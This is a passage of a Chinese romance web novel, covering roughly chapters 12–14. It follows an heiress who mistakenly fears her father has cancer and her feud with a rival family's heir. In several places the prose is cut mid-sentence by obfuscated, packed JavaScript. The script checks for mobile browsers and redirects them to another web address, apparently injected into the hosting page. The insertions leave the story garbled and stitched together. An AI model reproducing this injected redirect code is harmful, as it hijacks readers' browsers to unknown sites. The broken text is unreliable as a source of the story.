经历了一场莫名其妙的龟速车祸,再细数两人为数不多的交集,叶声笙更加确认了,她跟边澈就是八字相斥的关系。 满身怨气地回到房间,灯火辉煌的维多利亚港湾有烟花绽放,一簇簇在眼前炸开,像一场盛大的嘲笑。 她突然情绪失控,对着窗外尖叫。 尖叫声响彻套房,在空寂的夜里格外刺耳。 过了一会儿,房间内线响,前台小姐小心翼翼地询问:“女士,隔壁有人投诉您房间有奇怪的声音,请问有什么需要帮助的吗?” 叶声笙把电话线绕在指尖,声音无波无澜:“我才要投诉呢,投诉你们酒店隔音差,投诉隔壁客人偷听我的声音,侵犯我的隐私,你们等着收律师函吧。” 说完,就特别冷漠地挂断电话。 一口气喝光一瓶冰水,叶声笙动作带风地拉开大门,扭头把隔壁门板拍得震天响。 有门铃,偏不按,可见火气有多大。 开门的人是边澈。 刚刚那场车祸之后,柯尼塞格被拖车公司拖走,两人被晾在马路中间,最后还是叶声笙的司机把他们接回来的。或许是她的脸色实在太差,司机大气儿不敢喘,一口气把两人一起送到了四季酒店。边澈也就自然地去前台办了入住,刚好在她隔壁。 他穿着酒店的浴袍,腰间的带子松松垮垮的,发梢还在滴水,顺着颈项淹没进领口,藏蓝色的丝质睡袍泅湿了大片。 整个人清清爽爽的,跟斗败小孔雀形成鲜明对比。 只一眼,叶声笙眼底的鄙夷就彻底释放,蹙起眉头数落他:“从幼儿园开始,你就喜欢打小报告,这个坏习惯到现在都没改是吗?” 她把耳塞用力地扔他身上,重新换成抱臂抬颌的姿势:“还嫌吵睡不着投诉我?是自己亏心事做多了吧!” 边澈头疼,不知道这又是哪来的黑锅,怎么劈头盖脸又砸他头上了? 他看着两枚橙色的耳塞落地,一副“我很冤枉”的表情,摊摊手:“我刚刚在洗澡,什么都不知道……” 叶声笙和他冷漠对视,根本不相信他的鬼话。 边澈撑着门,脑袋往走廊里一探,适时提醒:“你的套房在中间,左右两侧都有人,为什么一口咬定是我投诉的?” 叶声笙用鼻子哼了声,特别理直气壮:“我掐指一算,整个酒店就你素质最低,用得着怀疑别人吗?” 边澈没什么逻辑地反问:“你什么时候还会算命了?” 他抓了抓湿发,水滴不小心溅到了叶声笙身上,她嫌弃地后退一步,“今晚的狗仔,你快点搞定,我可不想和你一起上八卦小报?” 边家在香港有家族办公室,搞定当地媒体这点小事难不倒他。 边澈仍然站在原地,这会儿头发更凌乱了,无端带着种野性感:“那撤新闻的钱谁出?” 叶声笙简直不敢相信,她瞪大眼睛:“边家破产了吗?这点钱你也来敲诈我?” 边澈以恍然大悟的表情:“不好意思我忘了,你家最近忙着退婚,缺钱。” 这个男人还是一如既往的恶毒。 如果视线可以凝成实质,现在他身上已经千疮百孔了。 叶声笙多看他一眼都嫌烦,“遇见你,我真是倒了八辈子霉。” 空荡荡的走廊里,对峙已然白热化。 “叮”一声响,电梯间传来动静,边澈啧啧有味地打量她:“你说有人看见我们俩衣衫不整地在同一个房间,会作何感想?” 叶声笙:…… 偌大的空间里,一道清脆的关门声,边澈带着戏谑地看她跑得比兔子还快。 连续几日的高温,港城入夜也不见丝毫凉爽。 叶声笙进了把房间,把空调又调低了两度。 一声门铃响,原来是酒店的套房管家送来了新煮的咖啡和甜点,不知道是房间的服务升级了,还是为了安抚她刚刚的火气。 她面无表情地接过来。 收到阮晴岚视频通话的时候,叶声笙才刚刚洗了澡,正在卫生间里吹头发。 撂一眼挂钟,时间恰好是两集更新的韩剧之后。 她意兴阑珊地按下接通键:“妈妈。” 一阵剧烈晃动后,屏幕里出现了一个光彩照人的精致贵妇,阮晴岚的声音难得有些急迫:“声笙,在港城撞车了?严不严重?要不要爸爸妈妈今晚飞过去?” 叶声笙随意地擦了下头发,就:“时速二十迈的车祸,不严重。” 只是丢人而已。 把毛巾掷到一旁,她疑惑开口:“您怎么知道我撞车了?” 阮晴岚远在千里,她又没告诉任何人,港媒的时效性也太强了吧, 她抽出一旁的Ipad,正准备打开搜索软件,阮晴岚温柔的声音从话筒里传出:“是边澈告诉你爸爸的,他俩现在正在通电话。” 那一刻,灵魂都要被抽走了。 胸口轻微起伏,她听见自己的声音虚疲无力:“边澈为什么会给爸爸打电话?” 表面淡定,心里快把边澈骂死了。 “你这孩子,发生了这么大的事情也不跟我们说,幸好小澈也在港城。他刚刚跟你爸爸道歉,说没照顾好你,还说对叶氏在海外的项目很感兴趣,想要投资。你都不知道,老叶最近为了那个项目,头发都白了好几根。祝向南真不是个东西,两家还没正式退婚,一听说老叶在外面融资,就让助理送来了四五个解约合同,看上面的金额,亏是一点儿都不想吃,也不想想他儿子干的那些恶心事儿。” 叶声笙打断阮晴岚的喋喋不休,嘟着嘴抱怨:“妈妈,我不联姻行吗?” 空气静默了三秒,阮晴岚忍不住提醒:“宝贝,当初是你自己说没有喜欢的人,可以跟祝泽试试的。我和你爸爸其实都没看上他,长得一般,身高也不行,容易影响下一代。” 言外之意,他们本就是支持自由恋爱的开明父母,火坑是她自己跳进去的。 叶声笙被噎得够呛,不想承认自己当初脑子抽了,更不认可他们的撇清行为。 “看不上他你们为什么不早说,现在觉得他又丑又矮了?对联姻对象这么草率,合理怀疑我是垃圾桶里捡回来的婴儿。” 阮晴岚笑:“就你跟老叶的长相,一个模子里刻出来的一样,就算是从垃圾桶里捡的,也是他自导自演地先丢后捡。” “妈妈,我都这么惨了,你还笑……” 识时务者为俊杰,阮晴岚马上换了种语气:“这回不用了,边澈注资的话,你想嫁谁就嫁谁,找个韩国欧巴妈妈也支持。” 叶声笙偷偷翻了个白眼,不让她妈妈看到。 手机弹出一个本地的陌生号码,视频通话中断,她给阮晴岚发了消息之后,径直按了接听键:“喂。” 陌生男人的声音传出:“Y小姐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14667239|156067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,您让我们查的事情已经有眉目了。” …… 兵荒马乱的一天总算过去。 翌日,叶声笙出酒店房间的时候,刻意放轻了脚步,就怕撞上隔壁的煞星。 她没联系司机,在酒店叫了计程车,直接去了位于中环的一家私家侦探事务所。 港城的格子间面积很小,她从二十六层下电梯,七拐八拐之后,才在角落里找到地址。 牌子上写着:HARF侦探社。 下面还挂着一排小字:你所委托,我必承诺。 叶声笙敲敲门,里面传来椅轮滚动的声音,然后就看见一个穿着西装的男人小跑出来。他身材有点胖,头发打绺,戴着黑框眼镜,跟她想象中的侦探相差甚远,倒像是地铁上会偷拍的宅男。 男人伸手,笑出一口白牙:“Y小姐你好,我是HARF侦探社的首席侦探毛东。” 叶声笙没伸手,太阳镜始终架在鼻梁上,没什么表情地嗯了一声。 毛东也不在意,热情地把她领进去。 HARF侦探社只有一张办公桌,靠近门口的位置是一个双人沙发,皮质已经看不出底色是奶黄还是白色,因为在大厦的角落,采光也不太好。 玻璃上贴着红色广告:婚姻调查、第三者调查、婚前调查、人员行踪调查、诉前调查、各种取证的字样。 叶声笙不想以貌取人,但心脏已经凉了半截。 她来港城本就不全是为了那套鸽血红,找私家侦探才是这趟行程的真正目的。 毛东像是猜出了她的想法,倒茶的时候,没什么寒暄的废话,直接汇报查到的信息:“您让我查的那个罗子明,现在确实在国外。” 他把椅子拉过来,坐在叶声笙对面,脸色突然认真起来:“不过比较奇怪的事情是,他出国之前收到了一笔价值十万的转账,这几天正在德国逗留,从莱茵河到巧克力博物馆,从消费记录来看,不像是躲人,反倒是像去旅游的。” 叶声笙轻咳一声,不太自然地解释:“嗯,那笔钱是我给的。” “怪不得”,毛东恍然大悟,“我查了他在国内的银行流水,这人的经济一直很拮据,我还以为这笔钱是突破口……” 因为叶声笙没透露自己的真实姓名,只以Y女士自称。 叶声笙听了一会,提出自己的想法:“他现在用一些东西勒索,呃,勒索我朋友很多钱,所以有没有可能,动用国外的私家侦探把他抓回国内。” “Y小姐真讲义气,不过这种行为是违法的”,毛东露出不太符合他人设的精明表情,“中国的警方到意大利都没有执法权,更何况是当地的私人侦探。你朋友要是真的被威胁,可以选择报警,然后通过意大利的大使馆联合行动,用跨境抓捕的方式把这个人带回国。” 看来边澈没骗他,叶声笙准备走了。 毛东把查到的资料整理在一个文件袋里,递给她:“Y小姐,这是替您查到的资料,电子版你走后我就会销毁。之前不知道给罗子明转载的人是您,我还顺便查了这个卡的主卡,发现主卡有在意大利Sant Agositono私人诊疗机构做检查的记录,我当时甚至还怀疑他是不是贩卖器官,现在看应该就没什么事了。” 叶淮生和阮晴岚去意大利是庆祝珍珠婚纪念日的,怎么会出现在当地的私人诊疗机构? 叶声笙秀眉蹙起:“那是什么地方?” “全球最顶级的肿瘤医院。” 仿佛透支了一样,她的手忽然无力,资料袋沉声落地。 12.第 12 章 叶声笙不知道自己是怎么离开Harf侦探事务所的。 盛夏酷暑,八十二华氏度高温,空气中滚着热浪。 可她还是觉得冷。 街道上满是交错而过的人群和层层叠叠的车鸣,计程车候在原地,毛东在身后大声呼喊她的名字,擦肩而过的行人眼睛不自觉地往她身上落。 叶声笙什么都听不见。 整个人像失了魂一样,双目无光,手里捏着牛皮纸袋,攥着的指节发白,毫无目的地在路上走着。 她从小就是恣意生长的玫瑰,就算遇到再嚣张跋扈的小霸王,也不会收敛气焰,因为小公主身后最大的底气就是叶淮生这个国王。 当年阮晴岚生她的时候,因为产后大出血摘除了子宫,这也就意味着,正值黄金年龄的叶淮生只有她这么一个独生女了。 那时候叶声笙的奶奶还健在,时不时以没有孙子要死要活的,甚至做出过往自己儿子床上送女人的荒唐事儿。叶淮生本就爱妻如命,更心疼妻子为了生孩子而命悬一线。他当时发了很大的火,以断绝关系为要求,喝止了老太太的过度干涉,此事才尚算平息。 最后,直到奶奶去世,户口本上都没能出现一个男孙的名字。 小时候的叶声笙很纳闷,自己在幼儿园可是万人迷一个,为什么每次去祖宅,姑姑都对她特别冷淡,连个笑脸都没有。阮晴岚偷偷告诉她,因为姑姑打了肉毒杆菌,所以做不出任何表情,她才勉强原谅了这个被皱纹困扰的女人。 后面她渐渐大了,这些理由已经瞒不过去。 叶声笙坐在叶淮生的书桌上,努力跟他爸爸平视,倔强的小脸全是不满:“爸爸,你很喜欢男孩吗?” “不喜欢,我最讨厌男孩子了。”叶淮生答得干脆,没有丝毫迟疑。 叶声笙强烈怀疑爸爸在撒谎,但是没有证据。 她歪着头,特别认真地强调:“我在天上选了好久,才选中你和妈妈做我的父母,你一定要好好珍惜你的小公主哦!” 叶淮生很上道,马上给她上贡了一颗又大又亮的钻石,并表示要做她骑士,永远臣服于公主。 叶声笙扬着马尾纠正:“你不能做骑士,骑士是将来要接我去结婚的人,你只能做一个伟大的国王。” 当年的童言童语犹在耳侧。 但是她忘了,小公主会长大,国王会变老,他也会生病。 脑袋里一闪而过是叶淮生风尘仆仆回国的画面。 那天他刚刚结束长途飞行,还来不及倒时差,就得处理祝泽的事情。当时她沉浸在一堆糟心事中,没有发现他的清减,对这些细节不曾留意,现在回忆起来,好像一切早有预兆。 这几年经济下行,叶淮生把自己的全部时间都投入工作中,像一块无休无止吸纳水分的海绵,身体早就到了严重饱和甚至是透支的程度了。纵然如此,各大股东还是对逐年下降的分红不满,要不是和祝向南合作的海外项目,这些人恐怕早都要跳脚了。 爸爸当时一定是为难的吧?但是为了她的终身幸福,还是义无反顾地中止了和祝向南的所有合作。 叶声笙越想,越觉得眼睛酸,担心和害怕交织成无助一直在心口冲撞,从来没有这样无力过。 叶淮生和阮晴岚好像什么都不打算告诉她,一直在她面前装没事人一样,她都不知道自己是应该戳穿他们,还是配合演出成为一员。 拇指在通讯里爸爸两个字上徘徊了好久,这通电话却始终没有拨出去。 就这样生生地在街上闲逛了一个多小时,走到头昏脑涨、小腿抽搐,实在是走不动了,才招了计程车回酒店。 室内室外冰火两重天,进到酒店大堂的时候,有人喊她的名字。 叶声笙慢慢抬眼。 璀璨的三层水晶灯下,一双男人的长腿进入视线,他手臂线条明显,手机在掌心轻巧地翻转了几下,那方精致的喉结缓缓滑动,一道低沉的男声徐徐传来。 “发生什么事了?” 边澈站在她面前,弯低身,眸底漆黑缓动。 叶声笙不说话。 整个身子还是麻的,额头和下巴泛起不正常的红,应该是晒伤了。 边澈背光的眉眼看不清晰,他伸手抚过她的脸,她呆呆的,没有躲。 乍然间手足无措。 他的声音很轻,像是怕吓到她一样:“是那群狗仔又骚扰你了吗?” 新闻他已经全都处理过了,比较麻烦的是那辆柯尼塞格。港城霍家三公子新提的车,一次没开就被他撞个稀巴烂,他刚刚付了全款买下来,返厂维修之后再运回京市。 她的眼睛一定是特别特别红,因为叶声笙从来没见过边澈用这种眼神看她,他天生有种心无旁骛的样子,好像什么事都不能让他皱下眉头。但这次,他罕见地带着薄薄怒意。 “没有。”怀里抱着的纸袋悉索作响,她整个身子都在轻颤,声带像被什么重压着,哑得厉害。 边澈的视线从她的脸,移到她抱紧的牛皮纸袋上,没费任何力气就抽了出来。 酒店大堂的冷气很足,他把里面的纸张一页页翻出来查看。视线在Sant Agositono这几个字母上停顿了几秒,他眼内情绪发生变化,捏着纸张的指腹突然出汗。 “谁去Sant Agositono了?”边澈对这个名字并不陌生,他爷爷当年就是去这里做过手术。 叶声笙眼尾红透,憋了一天的眼泪终于掉了下来:“我爸爸。” …… 当这三个字掷地有声地从她嘴里说出来的时候,边澈阖眸,觉得自己又重新活了过来。 大脑也开始恢复理智。 “回房间收拾东西,我们一会儿就回京市。” 他把文件重新塞回纸袋,动作很轻地捏住叶声笙的手腕,她怔怔地跟着,像没有灵魂的木偶,六神无主地回了酒店房间。 电梯一路运行到十九层,边澈用叶声笙的房卡开门。 门一开,套房内的感应灯倏地亮起。 叶声笙被他按坐在沙发上,边澈不知道鼓弄什么去了,她盯着某个虚无的点发呆。 突然脸颊一凉,她下意识要躲,后颈却被一只温热的大掌紧紧锁住。叶大小姐终于恢复了点儿人气,她一巴掌打过去:“你干嘛?” 边澈蹲在她身前不避不让,脸上很快出现五道红痕,他舔了舔后槽牙,“冰敷,你脸不要了?” 冰袋裹着爱马仕的丝巾,凉凉的,很舒服,这才后知后觉地感到疼——双颊火辣辣的。 “哦。” 她从他手里接过冰袋,偏过头,不看他。 边澈把她所有的表情看在眼里,玩笑似的乖戾口吻:“叶声笙,这是你第二次打我巴掌了。” 叶声笙也知道自己做得过分了,指端不自然地颤了下:“我又不是故意的,你突然离我那么近,自卫是我的本能反应。” 边澈捏住她的下巴,强迫她直视他:“那上次呢,还记得吗?” 男女之间天然的力量差距,叶声笙本能地推他,却怎么也推不动,她放低声音:“边澈,我家里出了事情,现在真没什么心情跟你斗嘴,要不你打回来吧。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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边澈终于把视线挪到她脸上,脸上的巴掌印明显,低冷的声音看破也说破:“不承认什么,打我巴掌吗?” “都说了不是故意的。” 他的视线似明火,叶声笙被灼得有点不自然了,“谁遇到这种生老病死的大事,都会情绪失控的。我刚刚就是一时没有反应过来,再说了,你堂堂七尺男儿,打一下又不会死,干吗这么小气?” 边澈慢慢站起来,俯在她头顶,一整个无语:“叶大小姐,在你的王国里道歉违法是吗?” 他才是被衰神附体的那个。 从那晚在【渡】开始,一切都不对了。 先是莫名其妙被人白嫖,然后被一个男模用艳照勒索七千万,来港城拍得寿礼被人抬价一亿二,借的柯尼赛格还撞了个稀巴烂。 边澈从小到大一直顺风顺水,这辈子都没吃过这么多亏,那双眼钩子一样看着她。 “算了,我们扯平。”叶声笙大发慈悲地宣布。 边澈气得烟瘾都犯了,目光触及她依旧红肿的眼眸,他吸一口气:“我订了三小时后回京市的机票,你跟我一起回去吗?” “回。” 叶声笙一边答着,一边把房间角落的行李箱推过来,她把衣帽间里挂得整齐的裙子一起抱过来,连着衣架一起丢进敞开的行李箱。 再起身要去卫生间收拾的时候,就见边澈像个监工似的原地站着。 她用余光瞥他:“你的衣服长腿了吗?” 他掀了掀眼皮,身上的刻薄劲儿又回来了:“长没长腿不知道,但是我的套房管家会帮助它们进入行李箱。” 叶声笙:…… 她吸一口气,在杀人和忍住不杀中间念了句“阿弥陀佛”,才饶了他的狗命。 边澈还不知道,他又死里逃生了一次。 13.第 13 章 就在叶声笙脑补到天都塌了的时候,叶淮生正躺在自家别墅泳池旁的藤椅上,摇着红酒杯,又敲定了几个上亿的合同。 阮晴岚把水果放在边几上,在另一个藤椅上躺好,姿势跟他如出一辙的悠闲自如,“还是家里舒服呀。” 叶淮生挂掉电话,熄屏放茶几上,笑着看她:“你怎么下来了?喷驱蚊水了吗?” 夜风徐徐,带着难得的凉爽,阮晴岚侧头,从他手里接过酒杯,一口干掉:“医生不是让你戒烟戒酒吗?” 叶淮生扶额,眼里满是无奈:“老婆,肾囊肿而已,能不能别给我扣上病人的大帽子。” 有些病空有名字唬人,肾囊肿就是其中的翘楚。 直径低于五公分的肾囊肿甚至不需要治疗,定期复查就好。 可运筹帷幄的叶氏总裁却因为这么一个小病,被老婆逼着去了全球顶级的肿瘤诊疗中心Sant Agositono治疗。 游泳池的水光在两人身上游走,阮晴岚隔空赏他一记白眼:“我可是为了你的面子着想,京市那么多双眼睛盯着你,你要是真从泌尿科的诊室走出来……” 一世英名就毁了。 叶淮生被噎了一下,噤声了,又给自己倒了一杯酒。 最近昼夜颠倒,时差一直没倒过来,红酒可以助眠。 阮晴岚看一眼时间,突然开口:“你说边澈为什么突然要注资,他是不是对女儿有意思?” 叶淮生接过话:“喜欢就好好追,搞小动作我只会装看不见,更何况声笙讨厌他,我可是永远跟女儿站一边。” 标准的女儿奴一个。 户外待久了,身上黏黏腻腻的,阮晴岚穿上拖鞋,双手打开,抻了抻脖子:“我要去追剧了,你也早点上楼睡觉。” 叶淮生在她腰上拍了拍,“别熬太晚,我等声笙回来就上去。” 这么多年都是如此,不管多晚,他都会等小公主回家。 阮晴岚临走前,留一句:“无花果记得吃,补肾的。” 大概过了一个多小时,绿化带中有车灯扫过,京韵别墅的黑色铁门缓缓开启,门口有万向轮滚动的声音。 司机在院子里停好车,小跑着去后备箱提行李,佣人们围着风尘仆仆的叶声笙嘘寒问暖。 “大小姐回来了。” “长途飞机累坏了吧?” “燕窝给您炖好了,要不要先喝两口垫垫肚子?” 声势浩大的欢迎仪式之后,她透过忙成一团的保姆团往客厅看:“我爸睡了吗?” “大小姐不回来,我哪敢睡觉?”叶淮生从众人之后走到最前面,手臂张成迎接的动作。 叶声笙鞋都没换,直接飞奔过去,脸埋进他胸口,也不知道为什么就是特别委屈:“你怎么没去机场接我?呜呜呜,你连去机场的力气都没有了吗?” 叶淮生被他撞得后退了好几步,顺了顺她的长发,打量自己从小宠到大的小公主:“对不起,刚刚在谈一个合同,没来得及跟司机一起去机场,让我家的大小姐失望了。” 叶声笙眼泪扑簌簌地落,觉得自己罪孽深重,爸爸都病得这么重了,还不能从烦琐的工作中脱身。 她仰着头,泪眼婆娑地看他:“爸爸,我明天就去叶氏上班,等我学会了怎么当总裁,你和妈妈就可以安享晚年了。” 叶淮生还是第一次听到叶声笙的豪言壮语,他忍住笑意配合道:“那你可得快点上手,叶氏就交给你了。” 一句话说得跟托孤似的。 叶声笙抽一记鼻子,眼眶红红的:“我学得慢,你要撑得久一点……” 叶淮生点点头,认真思考了会儿:“没事儿,我的心脏应该非常强大,毕竟当年辅导你功课,都没有叫过救护车,管理公司比辅导功课可简单多了……” 童年回忆悉数回巢,叶声笙哭得更大声了。 叶淮生吩咐佣人去煮了热茶,他从茶几上抽纸巾给她擦眼泪,目光在她脸上梭巡:“说说吧,谁欺负我家的小公主了,爸爸替你报仇。” 叶声笙在飞机上已经想明白了,叶淮生隐瞒病情除了不想让她担心之外,一定是为了护股市。叶氏已经风雨飘摇不能再经历风波,那么她也学着长大配合所有人演戏。 “港城的狗仔真讨厌……”她抽抽啼啼地,一句话说得断断续续:“镜头…都要怼我脸上了…拍出来的照片…肯定很丑…” 她长睫低垂着,夹带私货地打小报告:“还有边澈,我喜欢的鸽血红没拍到,也被他抢走了。” 叶淮生脸上还噙着笑,他已经从边澈口中知道,两人在港城被狗仔追踪,还发生了剐蹭事故。 “这个臭小子,我明天就找他算账。” 叶淮生不知道叶声笙脑补的大戏,就这么哄了十几分钟,才把她哄上楼睡觉。 …… 一场暴雨过后,京市被立秋节气沥干了暑气。 京市接连三天都是阴天,叶声笙的心情也跟这天气一样——糟透了。 一场唇枪舌战的股东会议之后,她把会议纪要整理好,拿着杯子去了茶水间。 叶声笙是以叶淮生助理身份进入叶氏的,这几天大大小小的会议参加了好几次,都是关于中止合同的。那几个股东估计和祝向南有利益往来,说话很不客气。她坐在位置上,听他们咄咄逼人的发言,怒火都快忍不住了,只能把情绪噼里啪啦全都发泄在键盘上。 叶淮生每天生活在这群豺狼环视之中,怪不得身体都垮了。 等到了茶水间,冤家路窄,刚刚最阴阳怪气的那个股东林总也在,正往茶杯里添水。 叶声笙视若无睹地越过他,按了下咖啡机,一阵噪声后有咖啡香漫出。 林总上下打量了她一会,“声笙大学学的是什么专业?” 这就属于明知故问了。 “珠宝设计。”叶声笙没抬头,注意力始终在咖啡机上。 他看了看她耳朵上的钻石耳钉,不屑地撇嘴:“那应该做个艺术家呀,怎么最近跑来给老叶当助理,太屈才了。” 句句绵里藏针。 叶声笙也不恼,从抽屉里拿出一包糖,撕开包装,唇角微微上翘:“没事儿,我学什么都快,对数字尤其敏感。” 林总一噎,他的小儿子智力发育迟缓,小学三年级还不会背九九乘法表,叶声笙这是在讽刺他。 他皮笑肉不笑:“女孩子,早晚要嫁人,还是回家相夫教子的好。” 叶声笙把糖纸扔进垃圾桶,抬眸:“林叔叔说得对,所以您的儿媳妇还是尽早物色的好。” 这种场合,发火的才是输家。 她一边在心里默念“我不生气”,一边火车头似的往叶淮生办公室冲,准备不分青红皂白地告他一状。什么为老不尊的狗屁股东,敢不敢把这话在她爸爸面前说。 叶声笙的火已经从脚底烧到了头顶,眼看就要把自己点着了。 总裁办的秘书知道她的身份,也不敢拦着,只能压低音量提醒:“大小姐,清斋总在里面。” 姑姑也在?她脚步微顿。 叶清斋在叶氏工作多年,主管财务,向来以冷面示人,平日 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14721296|156067||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里和她并不亲近。 总裁办公室的门没关严,叶声笙用眼神示意秘书去做自己的事,她绕过一道山水屏风,覆耳贴上去,开始光明正大地偷听。 叶清斋穿着上白下黑的套装裙,背对她站着,盘起的发髻一丝不苟。 “声笙来集团这几天,高管们的反响很不好,明天别让她来了。” 叶淮生坐在椅子上签文件,头也不抬地回:“我女儿需要看他们的脸色吗?谁不舒服可以去找HR办离职。” 叶声笙在门口给她爸爸竖大拇指,不被任何人道德绑架,不愧是运筹帷幄的叶氏总裁, 叶清斋抱臂站着,好像一点也没打算妥协,冷着调子:“你了解声笙,她就是三分钟热度的性子,仅有的那点商业理念全是追剧学来的,Flag倒是没少立,借调的同事苦不堪言,好几个副总都求到我这里……” 笔尖突然划破纸张,叶淮生安静三秒,把笔一丢:“那就去给她招几个助理……” 叶清斋突然扬一分调子:“你就是什么都由着她,联姻说取消就取消,这种儿戏的态度才让股东们不满……” 听不下去了。 捏着咖啡杯的指节泛白,叶声笙安静地离开,坐电梯下楼,去了二楼餐厅的露台。 胸腔闷着口不上不下的气,亟需汲取新鲜空气。 一口喝掉凉透的咖啡,真苦。 她打开备忘录,里面躺着不少最近没听懂需要会后查资料的关键词,盈亏平衡点、长尾效应……,食指按上删除键,连着最近熬夜做的几个策划方案,自暴自弃地一并删除。 术业有专攻,有些东西不是起点高,就能学得会的。 阳光明媚到晃眼,叶声笙双手搭在木质格栅上,长发在风里轻轻摆动,是丧丧的情绪里的唯一活气。 她抿唇想了一会,打开手机设置,从已阻止中点开拦截信息。 最近一条就是边澈的—— 「考虑得怎么样了?」发送时间是两天前。 还以为他已经放弃了呢?原来还是不放过她。 反反复复把这条消息看了好几遍,正想着要不要给他回个信息,这个号码就又弹出一条链接。 她手一抖,不小心点进去,弹出一个名为八掌柜的微博账号,一看就是营销号。 入目的标题就妥妥带了流量密码——劲爆!某B姓太子爷同性密友床照曝光。 照片很糊,两个男主角都打了厚码,但叶声笙还是一眼就分辨出照片的来源,是四季酒店那次。 她往下滑,评论区很快叠起了高楼,队形整齐地放了只耳朵。 鼻息不自觉加重。 罗子明的事情还没有解决,边澈到底在搞什么? 一口气把他从黑名单里拉出来,叶声笙毫不犹疑地把电话拨过去。 几声嘟声后,电话接通,一道低沉的男声传来:“喂。” “边澈,这个帖子是怎么回事?”她的声音在拨通电话之前,已经微调成了冷漠的调子,势必维持自己高冷的人设。 电话那头很吵,风声很大,像是在户外。 边澈的声音清清冷冷的,带着懒意:“你是哪位?” 叶声笙:…… 她有一瞬间的怔惊,还以为自己拨错了电话,把手机重新拿到眼前又确认了一遍号码后,拳头在衣摆边攥了起来。 狗男人不知道她是谁,天天给发什么骚扰短信,精分吗? 她全身都是炸的,暴躁火山一样喷出去。 “我是你祖宗,下次找我,记得烧香。” 14.第 14 章 初秋,天气是少见的阴瑟。 城郊,SKY基地直升机停机坪上,螺旋桨越转越快,草皮被劲风吹出波浪,驾驶员结实有力的手臂拉下升空操纵杆,一架黑白双色的直升机缓缓升空。 经过短暂的失重后,隋怿很快适应了高空飞行的感觉。 戴着耳机俯瞰下去,八达岭长城蜿蜒在脚下,没有鳞次栉比的高楼阻隔,视野格外开阔,胸口的郁气也消散不少。 隋怿最近被联姻对象闹得有点烦。 那女人不仅去他女朋友剧组找麻烦,还挺没边界感地天天去公司宣示主权。隋怿委婉地提醒过好几次,对方听不懂一样,他刚刚直接撂脸子走人了。 安静地看了会风景,他偏过头问驾驶位上的人:“那是官厅水库吗?从天上看怎么离野鸭湖那么近?” 直升机的噪声很大,说话基本靠喊。 边澈戴着太阳镜,视线压根不往他身上落,以一种没耐心的语气回:“要不你试试游过去?” 他不明白自己吃个午饭的功夫,怎么就被这个损友给绑架了,不仅非要在这个破烂天气观光,还死乞白赖地非让他当驾驶员。 隋怿不懂他年纪轻轻的怎么就四大皆空了,笑着调侃:“别这么不近人情,听说你最近有点破财,哥们带你上天接财运,毕竟离财神近嘛。” 边澈专心开直升机,懒得跟他说话。 手机铃声响,隋怿蹙着眉看屏幕上跳动的名字,没好气地按了拒接,把手机塞回裤袋里。 唇边翘起一抹自嘲:“哥们还是你明智,女人真的是麻烦。回头我得跟我爸谈谈,这个婚趁早退了。” 手机铃第二次响,一声比一声急促。 “妈的,我忍不了了……”隋怿火气极大地骂出来,他动作很大地掏出手机,准备干脆一点,直接跟对方说清楚,结果发现屏幕黑黢黢的。 不是他的手机响。 目光瞥向边澈,他提醒:“接电话。” “什么?”螺旋桨的噪声很大,边澈戴着耳机什么都没听清。 隋怿好人做到底,直接帮他按下免提。 天空雾蒙蒙的,从驾驶室看出去,远处的湖水和稻田像隔着一层纱,影影绰绰的。 边澈下意识地开口:“喂。” “边澈¥%#¥%#¥……” 他因听不清而皱眉,拉下耳机凑近听筒:“你是哪位?” 骄矜的女声带着浓浓的火气,三百六十度环绕在直升机内:“我是你祖宗,下次找我,记得烧香。” 边澈什么都来不及说,对方已经干脆利落地挂断电话,屏幕又重新锁屏。 空气中只剩螺旋桨转动的声音,隋怿似乎感觉到了某种危险的信号,大气儿都不敢喘。 飞机倏地掉头,边澈眯着眼解锁,然后没有任何迟疑地回拨过去。 机械的女声播报:您拨打的电话暂时无法接通。 这是又被拉黑了。 隋怿他突然打了个寒战,无端地觉得发冷。 轻咳了一下,以玩笑的口吻问:“你什么时候认了个祖宗?” 边澈把耳机砸一边,皮笑肉不笑地回视他:“座椅下面有个袋子,你拿出来。” 隋怿伸长脖子往座椅下看了眼:“什么东西藏得这么深?” “降落伞。” …… 叶声笙午饭都没吃,跟叶淮生打了招呼,就让司机送她去了南苑公园。 南苑公园是正儿八经的市民公园,东南角有三栋别墅用于商业,叶淮生租下风景最好的那套给她做工作室。 叶声笙大学期间就创立的珠宝品牌Stella Fantasy,没有商业化运营,就是凭借兴趣做一些小众设计的珠宝。 郁郁葱葱的槐树一路向后,胡同里传来京腔的叫卖声,她撑腮看窗外,叶淮生和叶清斋对峙的画面在脑袋里循环往复。闭上眼睛,边澈又从黑暗中冒出来。 叶声笙讨厌被枷锁裹挟的感觉。 做成年人很久了,生活里都是戴上面具纵横悲喜的人。但因为跟边澈认识太久,在他面前,她从来没有掩饰过自己的情绪。 说起两人的宿怨,已经过去很多年了。 那是一场商务宴会,才五岁的叶声笙觉得特别无聊,就去二楼回廊的休息区玩。 “咔嚓。” 